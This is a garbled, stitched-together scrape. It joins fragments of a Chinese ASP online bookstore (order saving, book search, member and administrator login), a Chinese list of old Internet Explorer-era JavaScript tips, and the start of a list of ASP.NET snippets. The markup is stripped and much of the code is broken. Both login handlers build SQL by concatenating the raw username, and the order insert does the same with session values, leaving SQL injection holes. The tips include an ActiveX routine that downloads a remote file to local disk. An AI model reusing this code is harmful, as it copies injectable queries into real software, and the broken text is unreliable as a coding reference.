tb_book Where isbn In (" & session("checkBook") & ")" Set rs = cnn.Execute( sql1 ) ASL1="" ASL1=split(session("sl"),",") i=0 sum=0 shuliang=0 while not rs.eof bookID=rs("isbn") price=rs("price") paSL=cInt(ASL(i)) booksum=cdbl(rs("price"))*ASL(i) sql2="insert into tb_orderdetail(orderid,isbn,num,money) values ('"&_ orderid&"','"&bookID&"',"&paSL&","&booksum&")" set rs1=cnn.execute(sql2) i=i+1 rs.movenext wend for each parm in objCmd.Parameters if parm.name="parID" then name1="会员ID" end if if parm.name="sum" then name1="订货金额" end if if parm.name="oDate" then name1="订购日期" end if if parm.name="aa" then name1="订单号" end if Response.Write name1 &":"& trim(parm) if name1="订货金额" then response.write "元" else response.write "" end if next %> 订单已经成功保存,欢迎下次惠顾! 网上图书订购 AC_FL_RunContent( 'codebase','http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=9,0,28,0','width','639','height','119','src','../images/banner','quality','high','pluginspage','http://www.adobe.com/shockwave/download/download.cgi?P1_Prod_Version=ShockwaveFlash','movie','../images/banner' ); //end AC code 网站首页 查看购物车 会员登录 管理员登录 书号 书名 出版社 图书类型 作者 等于 Like 查询图书库存量 书号 书名 图书类型 等于 Like <% If (Request("cValue") "" and Request("sField") "") Then If (Request("cValue") "") Then session("INvalue") = Request("cValue") End If session("pBookName") = "BookName" If (Request("sField") "") Then session("pBookName") = Request("sField") End If session("pBookName")=Replace(session("pBookName"), "'", "''") session("INvalue")=Replace(session("INvalue"), "'", "''") If (Request("mode") "") Then session("rs_mode") = Request("mode") End If end if if session("rs_mode")"" then if session("rs_mode")="==" then sql= "SELECT isbn, bookname, kind, price,total FROM tb_total WHERE "_ + session("pBookName") + " = '" + session("INvalue") + "'" else sql = "SELECT isbn, bookname, kind, price,total FROM tb_total WHERE "&_ session("pBookName") & " Like '%" & session("INvalue") & "%'" end if else sql="SELECT isbn, bookname, kind, price,total FROM tb_total " end if set rs_search=Server.CreateObject("ADODB.RecordSet") rs_search.open sql,cnn,1,3 %> function newwin1(url){ var newwin=window.open(url,"","resizable=yes,scrollbars=yes,width=700,height=400"); newwin.focus(); return false; } 书号 书 名 图书类型 价格 库存 alert("无符合条件的图书!") history.back(1) <%response.end() end if '分页' rs_search.pagesize=7 page=CLng(Request("page")) if page <% if page1 then %> =?page=1>第一页  =?page=>上一页 <%end if if pagers_search.pagecount then %>  =?page=>下一页  =?page=>最后一页 无符合条件的记录! <% response.Expires=-1 username1=trim(request("username")) userpass1=trim(request("userpass")) if username1="" or userpass1="" then session("passed1")="" session("msg1")="用户ID和密码不能为空" else set rs=server.CreateObject("adodb.recordset") strsql="select * from tb_member where userid='"&username1&"'" rs.open strsql,cnn,3,3 if rs.eof then session("passed1")="" session("msg1")="用户ID不存在" else if rs("PassWord")userpass1 then session("passed1")="" session("msg1")="密码错误" else session("passed1")=true session("msg1")="" session("ID1")=username1 session("username1")=rs("UserName") end if end if end if response.Redirect("memberlogin.asp") %> 会员登录 function chkfields(){ if(document.myform.username.value==''){ alert("用户ID不能为空"); document.myform.username.focus(); return false; } if(document.myform.userpass.value==''){ alert("用户密码不能为空"); document.myform.userpass.focus(); return false; } return true; } function look(id){ window.open("orderhistory.asp?ID="+id,"","scrollbars=yes,resizable=yes,width=700,height=600"); } AC_FL_RunContent( 'codebase','http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=9,0,28,0','width','639','height','119','src','../images/banner','quality','high','pluginspage','http://www.adobe.com/shockwave/download/download.cgi?P1_Prod_Version=ShockwaveFlash','movie','../images/banner' ); //end AC code 网站首页 查看购物车 会员登录 管理员登录 <% if session("msg1")"" then response.write session("msg1") else response.write "用户登录" end if %> I  D: 密 码:    用户 , 您已成功登录 ="button" value="查 看 订 单" name="b2" class="btnLogin" onClick="look('')"> 会员注册成功 祝贺您,已经注册成功! 您的会员ID号为:[ ] 密码为: [ ] 请记好! 单击“返回”按钮保存订单信息。 ="button" value=" 网上图书订购 AC_FL_RunContent( 'codebase','http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=9,0,28,0','width','639','height','119','src','../images/banner','quality','high','pluginspage','http://www.adobe.com/shockwave/download/download.cgi?P1_Prod_Version=ShockwaveFlash','movie','../images/banner' ); //end AC code 网站首页 查看购物车 会员登录 管理员登录 此处显示 id "content" 的内容 此处显示 id "footer" 的内容 <% ArrcheckBook= Split(Session("CheckBook"),", ") BookIDList="" For I=0 To UBound(ArrcheckBook)'显示数组的最大维数 cclickBookID="'"&request("clickBookID")&"'" If ArrcheckBook(i)cclickBookID Then If Len(BookIDList) = 0 Then BookIDList =ArrcheckBook(i) Else BookIDList = BookIDList & ", " & ArrcheckBook(i) End If end if Next If len(BookIDList)=0 Then session("BookIDList")= BookIDList Response.Redirect("buycarempty.asp") Else session("BookIDList")= BookIDList Response.Redirect "buycarsee.asp" end if %> <% response.Expires=-1 username1=trim(request("username")) userpass1=trim(request("userpass")) 'response.write 41 'response.End() if username1="" or userpass1="" then session("passed")="" session("msg")="请您先登录再进来!" 'response.Redirect("userlogin.asp") else set rs=server.CreateObject("adodb.recordset") strsql="select * from tb_operator where operatorname='"&username1&"'" rs.open strsql,cnn,3,3 if rs.eof then session("passed")="" session("msg")="管理员名称不存在" else if rs("password")userpass1 then session("passed")="" session("msg")="密码错误" else session("passed")=true session("msg")="" session("username")=rs("operatorname") 'response.Redirect("userlogin.asp") end if end if end if response.Redirect("operatorlogin.asp") %> 管理员登录 function chkfields(){ if(document.myform.username.value==''){ alert("管理员名称不能为空"); document.myform.username.focus(); return false; } if(document.myform.userpass.value==''){ alert("管理员密码不能为空"); document.myform.userpass.focus(); return false; } return true; } function take(){ window.open("lookup.asp","图书库存查询"); } AC_FL_RunContent( 'codebase','http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=9,0,28,0','width','639','height','119','src','../images/banner','quality','high','pluginspage','http://www.adobe.com/shockwave/download/download.cgi?P1_Prod_Version=ShockwaveFlash','movie','../images/banner' ); //end AC code 网站首页 查看购物车 会员登录 管理员登录 <% if session("msg")"" then response.write session("msg") else response.write "管理员登录" end if %> 管理员: 密码:    管理员 , 登录成功 的订单一览表 的订单一览表 订单号书号书名价格数量金额购书日期 <% rs.pagesize=7 page=CLng(Request("page")) if page        第一页 <% end if if page1 then %> 第一页 =orderhistory.asp?page=>上一页 <%end if if pagers.pagecount then %> =orderhistory.asp?page=>下一页 =orderhistory.asp?page=>最后一页 <% else response.write "您没有购书记录!" end if %> <% If (Request("cValue") "" and Request("sField") "") Then If (Request("cValue") "") Then session("INvalue") = Request("cValue") End If session("pBookName") = "BookName" If (Request("sField") "") Then session("pBookName") = Request("sField") End If session("pBookName")=Replace(session("pBookName"), "'", "''") session("INvalue")=Replace(session("INvalue"), "'", "''") If (Request("mode") "") Then session("rs_mode") = Request("mode") End If end if if session("rs_mode")"" then if session("rs_mode")="==" then sql= "SELECT isbn, bookname, author, price FROM tb_book WHERE "_ + session("pBookName") + " = '" + session("INvalue") + "'" else sql = "SELECT isbn, bookname, author, price FROM tb_book WHERE "&_ session("pBookName") & " Like '%" & session("INvalue") & "%'" end if else sql="SELECT isbn, bookname, author, price FROM tb_book " end if set rs_search=Server.CreateObject("ADODB.RecordSet") rs_search.open sql,cnn,1,3 %> function newwin1(url){ var newwin=window.open(url,"","resizable=yes,scrollbars=yes,width=700,height=400"); newwin.focus(); return false; } 书号 书 名 作 者 原价 现 价 购物 alert("无符合条件的图书!") history.back(1) <%response.end() end if '分页' rs_search.pagesize=7 page=CLng(Request("page")) if page ="image" src="../images/add.gif" alt="点击购买"onClick="return newwin1('buycaradd.asp?bookID=')"> <% if page1 then %> =?page=1>第一页  =?page=>上一页 <%end if if pagers_search.pagecount then %>  =?page=>下一页  =?page=>最后一页 无符合条件的记录!
Javascript小技巧一箩筐 事件源对象 event.srcElement.tagName event.srcElement.type 捕获释放 event.srcElement.setCapture(); event.srcElement.releaseCapture(); 事件按键 event.keyCode event.shiftKey event.altKey event.ctrlKey 事件返回值 event.returnValue 鼠标位置 event.x event.y 窗体活动元素 document.activeElement 绑定事件 document.captureEvents(Event.KEYDOWN); 访问窗体元素 document.all("txt").focus(); document.all("txt").select(); 窗体命令 document.execCommand 窗体COOKIE document.cookie 菜单事件 document.oncontextmenu 创建元素 document.createElement("SPAN"); 根据鼠标获得元素: document.elementFromPoint(event.x,event.y).tagName=="TD document.elementFromPoint(event.x,event.y).appendChild(ms) 窗体图片 document.images[索引] 窗体事件绑定 document.onmousedown=scrollwindow; 元素 document.窗体.elements[索引] 对象绑定事件 document.all.xxx.detachEvent("onclick",a); 插件数目 navigator.plugins 取变量类型 typeof($js_libpath) == "undefined" 下拉框 下拉框.options[索引] 下拉框.options.length 查找对象 document.getElementsByName("r1"); document.getElementById(id); 定时 timer=setInterval("scrollwindow()",delay); clearInterval(timer); UNCODE编码 escape() ,unescape 父对象 obj.parentElement(dhtml) obj.parentNode(dom) 交换表的行 TableID.moveRow(2,1) 替换CSS document.all.csss.href = "a.css"; 并排显示 display:inline 隐藏焦点 hidefocus=true 根据宽度换行 style="word-break:break-all" 自动刷新 ="refresh" CONTENT="8;URL=http://c98.yeah.net"> 简单邮件 ="mailto:aaa@bbb.com?subject=ccc&body=xxxyyy"> 快速转到位置 obj.scrollIntoView(true) 锚 ="first"> ="#first">anchors 网页传递参数 location.search(); 可编辑 obj.contenteditable=true 执行菜单命令 obj.execCommand 双符 /[^x00-xff]/ 汉 /[u4e00-u9fa5]/ 让英文符串超出表格宽度自动换行 word-wrap: break-word; word-break: break-all; 透明背景 获得style内容 obj.style.cssText HTML标签 document.documentElement.innerHTML 第一style标签 document.styleSheets[0] style标签里的第一样式 document.styleSheets[0].rules[0] 防止点击空链接时,页面往往重置到页首端。 ="javascript:function()">word 上一网页源 asp: request.servervariables("HTTP_REFERER") javascript: document.referrer 释放内存 CollectGarbage(); 禁止右键 document.oncontextmenu = function() { return false;} 禁止保存 禁止选取="return false" ondragstart="return false" onselectstart ="return false" onselect="document.selection.empty()" oncopy="document.selection.empty()" onbeforecopy="return false"onmouseup="document.selection.empty()> 禁止粘贴 =text onpaste="return false"> 地址栏图标 ="Shortcut Icon" href="favicon.ico"> favicon.ico 名最好不变16*16的16色,放虚拟目录根目录下 收藏栏图标 ="Bookmark" href="favicon.ico"> 查看源码 =button value=查看网页源代码 onclick="window.location = "view-source:"+ "http://www.csdn.net/""> 关闭输入法 ="ime-mode:disabled"> 自动全选 =text name=text1 value="123" onfocus="this.select()"> ENTER键可以让光标移到下一输入框 ="if(event.keyCode==13)event.keyCode=9"> 文本框的默认值 =text value="123" onfocus="alert(this.defaultValue)"> title换行 obj.title = "123 sdfs " 获得时间所代表的微秒 var n1 = new Date("2004-10-10".replace(/-/g, "/")).getTime() 窗口是否关闭 win.closed checkbox扁平 =checkbox style="position: absolute; clip:rect(5px 15px 15px 5px)">
获取选内容 document.selection.createRange().duplicate().text 自动完成功能 =text autocomplete=on>打开该功能 =text autocomplete=off>关闭该功能 窗口最大化 ="window.resizeTo(window.screen.width - 4,window.screen.height-50);window.moveTo(-4,-4)"> 无关闭按钮IE window.open("aa.htm", "meizz", "fullscreen=7"); 统一编码/解码 alert(decodeURIComponent(encodeURIComponent("http://你好.com?as= hehe"))) encodeURIComponent对":"、"/"、";" 和 "?"也编码 表格行指示 ="this.bgColor="#f0f0f0"" onmouseout="this.bgColor="#ffffff""> //各种尺寸 s += " 网页可见区域宽:"+ document.body.clientWidth; s += " 网页可见区域高:"+ document.body.clientHeight; s += " 网页可见区域高:"+ document.body.offsetWeight +" (包括边线的宽)"; s += " 网页可见区域高:"+ document.body.offsetHeight +" (包括边线的宽)"; s += " 网页正文全文宽:"+ document.body.scrollWidth; s += " 网页正文全文高:"+ document.body.scrollHeight; s += " 网页被卷去的高:"+ document.body.scrollTop; s += " 网页被卷去的左:"+ document.body.scrollLeft; s += " 网页正文部分上:"+ window.screenTop; s += " 网页正文部分左:"+ window.screenLeft; s += " 屏幕分辨率的高:"+ window.screen.height; s += " 屏幕分辨率的宽:"+ window.screen.width; s += " 屏幕可用工作区高度:"+ window.screen.availHeight; s += " 屏幕可用工作区宽度:"+ window.screen.availWidth; //过滤数 =text onkeypress="return event.keyCode>=48&&event.keyCode<=57||(this.value.indexOf(".")<0?event.keyCode==46:false)" onpaste="return !clipboardData.getData("text").match(/D/)" ondragenter="return false"> //特殊用途 =button value=导入收藏夹 onclick="window.external.ImportExportFavorites(true,"http://localhost");"> =button value=导出收藏夹 onclick="window.external.ImportExportFavorites(false,"http://localhost");"> =button value=整理收藏夹 onclick="window.external.ShowBrowserUI("OrganizeFavorites", null)"> =button value=语言设置 onclick="window.external.ShowBrowserUI("LanguageDialog", null)"> =button value=加入收藏夹 onclick="window.external.AddFavorite("http://www.google.com/", "google")"> =button value=加入到频道 onclick="window.external.addChannel("http://www.google.com/")"> =button value=加入到频道 onclick="window.external.showBrowserUI("PrivacySettings",null)"> //不缓存 ="pragma" CONTENT="no-cache"> ="Cache-Control" CONTENT="no-cache, must-revalidate"> ="expires" CONTENT="0"> //正则匹配匹配符的正则表达式: [u4e00-u9fa5] 匹配双符(包括汉在内):[^x00-xff] 匹配空行的正则表达式: [s| ]* 匹配HTML标记的正则表达式:/<(.*)>.*|<(.*) />/ 匹配首尾空格的正则表达式:(^s*)|(s*$)(像vbscript那样的trim函数) 匹配Email地址的正则表达式:w+([-+.]w+)*@w+([-.]w+)*.w+([-.]w+)* 匹配网址URL的正则表达式:http://([w-]+.)+[w-]+(/[w- ./?%&=]*)? 以下是例子: 利用正则表达式限制网页表单里的文本框输入内容: 用正则表达式限制只能输入文:onkeyup="value=value.replace(/[^u4E00-u9FA5]/g,"")" onbeforepaste="clipboardData.setData("text",clipboardData.getData("text").replace(/[^u4E00-u9FA5]/g,""))" 1.用正则表达式限制只能输入全角符: onkeyup="value=value.replace(/[^uFF00-uFFFF]/g,"")" onbeforepaste="clipboardData.setData("text",clipboardData.getData("text").replace(/[^uFF00-uFFFF]/g,""))" 2.用正则表达式限制只能输入数:onkeyup="value=value.replace(/[^d]/g,"") "onbeforepaste="clipboardData.setData("text",clipboardData.getData("text").replace(/[^d]/g,""))" 3.用正则表达式限制只能输入数和英文:onkeyup="value=value.replace(/[W]/g,"") "onbeforepaste="clipboardData.setData("text",clipboardData.getData("text").replace(/[^d]/g,""))" //消除图像工具栏 ="mypicture.jpg" HEIGHT="100px" WIDTH="100px" GALLERYIMG="false"> or ="imagetoolbar" content="no"> //无提示关闭 function Close() { var ua=navigator.userAgent var ie=navigator.appName=="Microsoft Internet Explorer"?true:false if(ie) { var IEversion=parseFloat(ua.substring(ua.indexOf("MSIE ")+5,ua.indexOf(";",ua.indexOf("MSIE ")))) if(IEversion< 5.5) { var str = "=noTipClose classid="clsid:ADB880A6-D8FF-11CF-9377-00AA003B7A11">" str += "="Command" value="Close">"; document.body.insertAdjacentHTML("beforeEnd", str); document.all.noTipClose.Click(); } else { window.opener =null; window.close(); } } else { window.close() } } //取得控件得绝对位置(1) //获得控件的绝对位置(2) oRect = obj.getBoundingClientRect(); oRect.left oRect. //最小化,最大化,关闭 =min classid="clsid:ADB880A6-D8FF-11CF-9377-00AA003B7A11"> ="Command" value="Minimize"> =max classid="clsid:ADB880A6-D8FF-11CF-9377-00AA003B7A11"> ="Command" value="Maximize"> =close classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11"> ="Command" value="Close"> =button value=最小化 onclick=min.Click()> =button value=最大化 onclick=max.Click()> =button value=关闭 onclick=close.Click()> //光标停在文最后 =text name=text1 value="123" onfocus="cc()"> //页面进入和退出的特效 进入页面="Page-Enter" content="revealTrans(duration=x, transition=y)"> 推出页面="Page-Exit" content="revealTrans(duration=x, transition=y)"> 这是页面被载入和调出时的一些特效。duration表示特效的持续时间,以秒为单位。transition表示使 用哪种特效,取值为1-23:   0 矩形缩小   1 矩形扩大   2 圆形缩小   3 圆形扩大   4 下到上刷新   5 上到下刷新   6 左到右刷新   7 右到左刷新   8 竖百叶窗   9 横百叶窗   10 错位横百叶窗   11 错位竖百叶窗   12 点扩散   13 左右到间刷新   14 间到左右刷新   15 间到上下   16 上下到间   17 右下到左上   18 右上到左下   19 左上到右下   20 左下到右上   21 横条   22 竖条   23 //网页是否被检索 ="ROBOTS" content="属性值">   其属性值有以下一些:   属性值为"all": 文件将被检索,且页上链接可被查询;   属性值为"none": 文件不被检索,而且不查询页上的链接;   属性值为"index": 文件将被检索;   属性值为"follow": 查询页上的链接;   属性值为"noindex": 文件不检索,但可被查询链接;   属性值为"nofollow": //打印分页

="page-break-after:always">page1

="page-break-after:always">page2

//设置打印 ="factory" style="display:none" viewastext classid="clsid:1663ed61-23eb-11d2-b92f-008048fdd814" codebase="http://www.meadroid.com/scriptx/ScriptX.cab#Version=5,60,0,360" > =button value=页面设置 onclick="factory.printing.PageSetup()"> =button value=打印预览 onclick="factory.printing.Preview()"> =button value="打印本页" onclick="factory.printing.Print(false)"> =button value="页面设置" onclick="factory.printing.PageSetup()"> =button value="打印预览" onclick="factory.printing.Preview()">
="http://www.meadroid.com/scriptx/docs/printdoc.htm?static" target=_blank>具体使用手册,更多信息,点这里 //自带的打印预览 WebBrowser.ExecWB(1,1) 打开 Web.ExecWB(2,1) 关闭现在所有的IE窗口,并打开一新窗口 Web.ExecWB(4,1) 保存网页 Web.ExecWB(6,1) 打印 Web.ExecWB(7,1) 打印预览 Web.ExecWB(8,1) 打印页面设置 Web.ExecWB(10,1) 查看页面属性 Web.ExecWB(15,1) 好像是撤销,有待确认 Web.ExecWB(17,1) 全选 Web.ExecWB(22,1) 刷新 Web.ExecWB(45,1) 关闭窗体无提示 ="WebBrowser" width=0 height=0 classid="CLSID:8856F961-340A-11D0-A96B-00C04FD705A2">
="Noprint" > =button value=打印 onclick=document.all.WebBrowser.ExecWB(6,1)> =button value=直接打印 onclick=document.all.WebBrowser.ExecWB(6,6)> =button value=页面设置 onclick=document.all.WebBrowser.ExecWB(8,1)>

=button value=打印预览 onclick=document.all.WebBrowser.ExecWB(7,1)>

//去掉打印时的页眉页脚 ="button" value="清空页码" onclick=PageSetup_Null()> ="button" value="恢复页码" onclick=PageSetup_Default()> //浏览器验证 function checkBrowser() { this.ver=navigator.appVersion this.dom=document.getElementById?1:0 this.ie6=(this.ver.indexOf("MSIE 6")>-1 && this.dom)?1:0; this.ie5=(this.ver.indexOf("MSIE 5")>-1 && this.dom)?1:0; this.ie4=(document.all && !this.dom)?1:0; this.ns5=(this.dom && parseInt(this.ver) >= 5) ?1:0; this.ns4=(document.layers && !this.dom)?1:0; this.mac=(this.ver.indexOf("Mac") > -1) ?1:0; this.ope=(navigator.userAgent.indexOf("Opera")>-1); this.ie=(this.ie6 || this.ie5 || this.ie4) this.ns=(this.ns4 || this.ns5) this.bw=(this.ie6 || this.ie5 || this.ie4 || this.ns5 || this.ns4 || this.mac || this.ope) this.nbw=(!this.bw) return this; } //计算内容宽和高 ="button" value="计算内容宽度" onClick="test(txt)"> //无模式的提示框 function modelessAlert(Msg) { window.showModelessDialog("javascript:alert(""+escape(Msg)+"");window.close();","","status:no;resizable:no;help:no;dialogHeight:height:30px;dialogHeight:40px;"); } //屏蔽按键 ="Content-Type" content="text/html; charset=gb2312"> 屏蔽鼠标右键、Ctrl+N、Shift+F10、Alt+F4、F11、F5刷新、退格键 屏蔽鼠标右键、Ctrl+N、Shift+F10、Alt+F4、F11、F5刷新、退格键 //屏蔽打印 //移动的图层,拖动 1.="position:absolute;width:200;height:200;background:red" onmousedown=MouseDown(this) onmousemove=MouseMove() onmouseup=MouseUp()>meizz 2.
="myDiv" src="logo.gif" ondrag="doDrag();" onmouseover="this.style.cursor="hand"" style="position:absolute;left=100;top=100;" onmousedown="doMouseDown();"> ="#" onclick="return false">

wlecome

//文档状态改变 //刷新后不变的文本框 ="save" CONTENT="history"> =sHistory type=text id=oPersistInput> //访问剪贴板 (1)拖拽访问 event.dataTransfer.setData("URL", oImage.src); sImageURL = event.dataTransfer.getData("URL") (2)普通访问 window.clipboardData.setData("Text",oSource.innerText); window.clipboardData.getData("Text"); //操作COOKIE function SetCookie(sName, sValue) { document.cookie = sName + "=" + escape(sValue) + "; "; } function GetCookie(sName) { var aCookie = document.cookie.split("; "); for (var i=0; i < aCookie.length; i++) { var aCrumb = aCookie[i].split("="); if (sName == aCrumb[0]) return unescape(aCrumb[1]); } } function DelCookie(sName) { document.cookie = sName + "=" + escape(sValue) + "; expires=Fri, 31 Dec 1999 23:59:59 GMT;"; } //setTimeout增加参数 //自定义的apply,call Function.prototype.apply = function (obj, argu) { if (obj) obj.constructor.prototype._caller = this; var argus = new Array(); for (var i=0;i= "argu[" + i + "]"; var r; eval("r = " + (obj ? ("obj._caller(" + argus.join(",") + ");") : ("this(" + argus.join(",") + ");"))); return r; }; Function.prototype.call = function (obj) { var argu = new Array(); for (var i=1;i= arguments[i]; return this.apply(obj, argu); }; //下载文件 function DownURL(strRemoteURL,strLocalURL) { try { var xmlHTTP=new ActiveXObject("Microsoft.XMLHTTP"); xmlHTTP.open("Get",strRemoteURL,false); xmlHTTP.send(); var adodbStream=new ActiveXObject("ADODB.Stream"); adodbStream.Type=1;//1=adTypeBinary adodbStream.Open(); adodbStream.write(xmlHTTP.responseBody); adodbStream.SaveToFile(strLocalURL,2); adodbStream.Close(); adodbStream=null; xmlHTTP=null; } catch(e) { window.confirm("下载URL出错!"); } //window.confirm("下载完成."); } //检验连接是否有效 function getXML(URL) { var xmlhttp = new ActiveXObject("microsoft.xmlhttp"); xmlhttp.Open("GET",URL, false); try { xmlhttp.Send(); } catch(e){} finally { var result = xmlhttp.responseText; if(result) { if(xmlhttp.Status==200) { return(true); } else { return(false); } } else { return(false); } } } //POST代替FORM //readyState是xmlhttp返回数据的进度,0=载入,1=未初始化,2=已载入,3=运行,4=完成 //组件是否安装 isComponentInstalled("{6B053A4B-A7EC-4D3D-4567-B8FF8A1A5739}", "componentID")) //检查网页是否存在 function CheckURL(URL) { var xmlhttp = new ActiveXObject("Microsoft.XMLHTTP"); xmlhttp.Open("GET",URL, false); try { xmlhttp.Send(); var result = xmlhttp.status; } catch(e) {return(false); } if(result==200) { return true; } xmlhttp = null; return false; } //连接数据库 //使用数据岛 srno:=text datasrc=#xmldate DataFLD=srno size="76">
times:=text datasrc=#xmldate DataFLD=times size="76">
="first" TYPE=button value="<< 第一条记录" onclick="xmldate.recordset.moveFirst()"> ="prev" TYPE=button value="<上一条记录" onclick="xmldate.recordset.movePrevious()"> ="next" TYPE=button value="下一条记录>" onclick="xmldate.recordset.moveNext()"> ="last" TYPE=button value="最后一条记录>>" onclick="xmldate.recordset.moveLast()"> ="Add" TYPE=button value="添加新记录" onclick="xmldate.recordset.addNew()"> ="xmldate"> 20041025-01null 20041101-092004年10月1日2点22分0秒 //获得参数 ="javascript:location.href=location.href + "?a=1&b=2"">search //可编辑SELECT =text name=re_name style="width:100px;height:21px;font-size:10pt;">="width:18px;border:0px solid red;"> //设置光标位置 function getCaret(textbox) { var control = document.activeElement; textbox.focus(); var rang = document.selection.createRange(); rang.setEndPoint("StartToStart",textbox.createTextRange()) control.focus(); return rang.text.length; } function setCaret(textbox,pos) { try { var r =textbox.createTextRange(); r.moveStart("character",pos); r.collapse(true); r.select(); } catch(e) {} } function selectLength(textbox,start,len) { try { var r =textbox.createTextRange(); r.moveEnd("character",len-(textbox.value.length-start)); r.moveStart("character",start); r.select(); } catch(e) {//alert(e.description)} } function insertAtCaret(textbox,text) { textbox.focus(); document.selection.createRange().text = text; } //页内查找 function findInPage(str) { var txt, i, found,n = 0; if (str == "") { return false; } txt = document.body.createTextRange(); for (i = 0; i <= n && (found = txt.findText(str)) != false; i++) { txt.moveStart("character", 1); txt.moveEnd("textedit"); } if (found) { txt.moveStart("character", -1); txt.findText(str); txt.select(); txt.scrollIntoView(); n++; } else { if (n > 0) { n = 0; findInPage(str); } else { alert(str + "... 您要找的文不存在。 请试着输入页面的关键再次查找!"); } } return false; } //书 http://www.itpub.net/attachment.php?s=&postid=1894598 http://www.wrclub.net/down/listdown.aspx?id=1341//操作EXECL //自定义提示条 ="#" title="这是提示">tip //插入文 document.onclick =function(){ var oSource = window.event.srcElement; if(oSource.tagName!="DIV") return false; var sel = document.selection; if (sel!=null) { var rng = sel.createRange(); if (rng!=null) rng.pasteHTML("=red>插入文"); } } //netscapte下操作xml doc = new ActiveXObject("Msxml2.DOMDocument"); doc = new ActiveXObject("Microsoft.XMLDOM") ->> doc = (new DOMParser()).parseFromString(sXML,"text/xml") //判断键值 ="Content-Type" content="text/html; charset=gb2312"> //Javascript Document.

请按任意一键。。。。

//禁止FSO 1.注销组件 regsvr32 /u scrrun.dll 2.修改PROGID HKEY_CLASSES_ROOTScripting.FileSystemObject Scripting.FileSystemObject 3.对于使用object的用户,修改HKEY_CLASSES_ROOTScripting. //省略号
="width: 120px; height: 50px; border: 1px solid blue; overflow: hidden; text-overflow:ellipsis"> 是比如有一行文,很长,表格内一行显示不下.
//检测media play版本 ="oClientCaps" style="{behavior:url(#default#clientcaps)}" /> //图象按比例 =".." onload = "DrawImage(this)"> //细线SELECT function getComputerName() { var objWMIService = GetObject("Winmgmts:rootcimv2"); for(e = new Enumerator(objWMIService) ; !e.atEnd() ; e.moveNext()) { var getComputer = e.item(); return getComputer.Name; } } //条件编译 //取得innerText //mergeAttributes 复制所有读/写标签属性到指定元素。 =oSource>
="oDiv" ATTRIBUTE1="true" ATTRIBUTE2="true" onclick="alert("click");" onmouseover="this.style.color="#0000FF";" onmouseout="this.style.color="#000000";" > This is a sample DIV element.
="oDiv2"> This is another sample DIV element.
="button" VALUE="Merge Attributes" onclick="fnMerge()" > 以上内容可以随意转载,转载后请注名来源和出处! 原文链接:http://ttyp.cnblogs.com/archive/2004/11/15/63900.aspx ="border:1px solid #000000; position:absolute; overflow:hidden;" > //Import function Import() { for( var i=0; i= arguments[i]; if ( file.match(/.js$/i)) document.write(" //取得innerText //mergeAttributes 复制所有读/写标签属性到指定元素。 =oSource>
="oDiv" ATTRIBUTE1="true" ATTRIBUTE2="true" onclick="alert("click");" onmouseover="this.style.color="#0000FF";" onmouseout="this.style.color="#000000";" > This is a sample DIV element.
="oDiv2"> This is another sample DIV element.
="button" VALUE="Merge Attributes" onclick="fnMerge()" > 电子书制作:源码爱好者
ASP.NET程序常用的三十三种代码 1. 打开新的窗口并传送参数:   传送参数: response.write("window.open(’*.aspx?id="+this.DropDownList1.SelectIndex+"&id1="+...+"’)")   接收参数: string a = Request.QueryString("id"); string b = Request.QueryString("id1");   2.为按钮添加对话框 Button1.Attributes.Add("onclick","return confirm(’确认?’)"); button.attributes.add("onclick","if(confirm(’are you sure...?’)){return true;}else{return false;}")   3.删除表格选定记录 int intEmpID = (int)MyDataGrid.DataKeys[e.Item.ItemIndex]; string deleteCmd = "DELETE from Employee where emp_id = " + intEmpID.ToString()   4.删除表格记录警告 private void DataGrid_ItemCreated(Object sender,DataGridItemEventArgs e) {  switch(e.Item.ItemType)  {   case ListItemType.Item :   case ListItemType.AlternatingItem :   case ListItemType.EditItem:    TableCell myTableCell;    myTableCell = e.Item.Cells[14];    LinkButton myDeleteButton ;    myDeleteButton = (LinkButton)myTableCell.Controls[0];    myDeleteButton.Attributes.Add("onclick","return confirm(’您是否确定要删除这条信息’);");    break;   default:    break;  } }   5.点击表格行链接另一页 private void grdCustomer_ItemDataBound(object sender, System.Web.UI.WebControls.DataGridItemEventArgs e) {  //点击表格打开  if (e.Item.ItemType == ListItemType.Item || e.Item.ItemType == ListItemType.AlternatingItem)   e.Item.Attributes.Add("onclick","window.open(’Default.aspx?id=" + e.Item.Cells[0].Text + "’);"); }   双击表格连接到另一页   在itemDataBind事件 if(e.Item.ItemType == ListItemType.Item || e.Item.ItemType == ListItemType.AlternatingItem) {  string OrderItemID =e.item.cells[1].Text;  ...  e.item.Attributes.Add("ondblclick", "location.href=’../ShippedGrid.aspx?id=" + OrderItemID + "’"); }   双击表格打开新一页 if(e.Item.ItemType == ListItemType.Item || e.Item.ItemType == ListItemType.AlternatingItem) {  string OrderItemID =e.item.cells[1].Text;  ...  e.item.Attributes.Add("ondblclick", "open(’../ShippedGrid.aspx?id=" + OrderItemID + "’)"); }   ★特别注意:【?id=】 处不能为 【?id =】   6.表格超连接列传递参数 ="_blank" headertext="ID号" DataTextField="id" NavigateUrl="aaa.aspx?id=’  ’ & name=’’ />   7.表格点击改变颜色 if (e.Item.ItemType == ListItemType.Item ||e.Item.ItemType == ListItemType.AlternatingItem) {  e.Item.Attributes.Add("onclick","this.style.backgroundColor=’#99cc00’;     this.style.color=’buttontext’;this.style.cursor=’default’;"); }   写在DataGrid的_ItemDataBound里 if (e.Item.ItemType == ListItemType.Item ||e.Item.ItemType == ListItemType.AlternatingItem) { e.Item.Attributes.Add("onmouseover","this.style.backgroundColor=’#99cc00’;    this.style.color=’buttontext’;this.style.cursor=’default’;"); e.Item.Attributes.Add("onmouseout","this.style.backgroundColor=’’;this.style.color=’’;"); }   8.关于日期格式   日期格式设定 DataFormatString="{0:yyyy-MM-dd}"   我觉得应该在itembound事件 e.items.cell["你的列"].text=DateTime.Parse(e.items.cell["你的列"].text.ToString("yyyy-MM-dd"))   9.获取错误信息并到指定页面   不要使用Response.Redirect,而应该使用Server.Transfer   e.g // in global.asax protected void Application_Error(Object sender, EventArgs e) { if (Server.GetLastError() is HttpUnhandledException) Server.Transfer("MyErrorPage.aspx"); //其余的非HttpUnhandledException异常交给ASP.NET自己处理okay了 :) }   Redirect会导致post-back的产生从而丢失了错误信息,所以页面导向应该直接在服务器端执行,这样可以在错误处理页面得到出错信息并进行相应的处理   10.清空Cookie 